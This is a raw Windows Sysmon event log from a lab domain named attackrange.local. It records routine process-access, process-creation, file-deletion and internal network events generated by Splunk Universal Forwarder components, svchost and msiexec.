10341000x800000000000000038113Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.339{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038112Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.339{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038111Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.339{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6ECA-613B-1C07-00000000F001}6828C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038110Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.339{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6ECA-613B-1C07-00000000F001}6828C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000038109Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.340{7BD73061-6ECA-613B-1C07-00000000F001}6828C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000038108Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:15.569{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59191-false10.0.1.12-8000- 23542300x800000000000000038107Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.058{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7A1B610B3769ADE5DAF0739CFFBB0AFA,SHA256=2416C513D54E3A5A0DD813AE09B4E5B1854229061FA72443CA4A0536B06E1A9B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038106Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:18.011{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1616F36816AD33E750E735AB9BCAC610,SHA256=A8D4C92CC0C3E8F96F24D18D3A25A85294BB0CFA847CD04FD6D0A2D5853DA0A8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038150Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:19.949{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\RFANI0AIQZ\System.ni.dll.auxMD5=9651A4D69D091A91F7509B493895084C,SHA256=7F97FFC6DBCF14DEF386747D99B2204F6C0BE9C123F585888BF0BC23B424155B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038149Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:19.949{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\RFANI0AIQZ\System.ni.dllMD5=0D511A145E1BEFBF8048E4958B18EF8C,SHA256=5B4E622B50F3659A09BC10F7047FB5AECD568565E358232DBD8B85B615F42FB0,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038148Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:19.886{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=4897FD67D0FB4727400275E9DB7511E1,SHA256=87D0635B5DF2D950C60465111141903FE560B2EBE973092F05F6038039CEBE02,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038147Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:19.855{7BD73061-6ECB-613B-1E07-00000000F001}59126876C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000038146Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:19.809{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8FDC1068CCE41B5DD1B04045BB154BCA,SHA256=EC9066909DABE637472E469E62D89B48E32EEC1456B077FB819D237DC684A800,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013433Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:19.225{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4A5451413976FDE28B1032E12061ED69,SHA256=4039897D0C491D1FBCF1B8A0499D17DE65EDAEE6C1DD93BAB057D695158EE1C6,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038145Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:19.542{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6ECB-613B-1E07-00000000F001}5912C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038144Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:19.542{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038143Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:19.542{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038142Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:19.542{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038141Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:19.542{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038140Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:19.542{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6ECB-613B-1E07-00000000F001}5912C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038139Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:19.542{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6ECB-613B-1E07-00000000F001}5912C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000038138Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:19.543{7BD73061-6ECB-613B-1E07-00000000F001}5912C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000038137Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:19.386{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\QXUP2CX6WS\System.ni.dll.auxMD5=0ABA8EE4C96771CD3B6CD56A2DA9CBF6,SHA256=9C26CAC4A3E0C19DF4928C90F5F36A2D5AA689905B7AF3E9A7CBA5B925753D0C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038136Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:19.386{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\QXUP2CX6WS\System.ni.dllMD5=FC806E761F72F4A41798B08766D9DB13,SHA256=1B6FB65CE6BCF66CE1BFC0BE58F06DD2949012D03BF79CE67EB35A20A5460839,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038135Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:19.199{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=944E357C06B2C7DBDACDA214E976610B,SHA256=F74B9E605A3545D6B18EA49038E1F32296491EF629BAFA9A1FDE22A5F79BCCA9,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038180Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.982{7BD73061-6ECC-613B-2007-00000000F001}70366240C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000013434Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:20.241{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4FAF776E46F3C7ECCA03BD07B2756FCB,SHA256=37DC6B3EA255B2C0DC4091C003186AB8B836CCCF3EC48E391295435BD7CC1931,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038179Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.934{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\SE93RZEWOY\System.ni.dll.auxMD5=02AA118D8E3C67485AE986D7809E5813,SHA256=B90C0DD717587FAB26AE04FAA85FAB8119FF23CDD5596A954BC5E660BB3EB1CF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038178Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.919{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\SE93RZEWOY\System.ni.dllMD5=6D7E9BF18E21AD794AF893EBB009E6A7,SHA256=837C8E670276112124615988CF0B655B6202FD2F351A34F56A7159AF12C4855A,IMPHASH=00000000000000000000000000000000truetrue 10341000x800000000000000038177Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.714{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6ECC-613B-2007-00000000F001}7036C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038176Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.714{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038175Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.714{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038174Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.714{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038173Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.714{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038172Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.714{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6ECC-613B-2007-00000000F001}7036C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038171Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.714{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6ECC-613B-2007-00000000F001}7036C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program 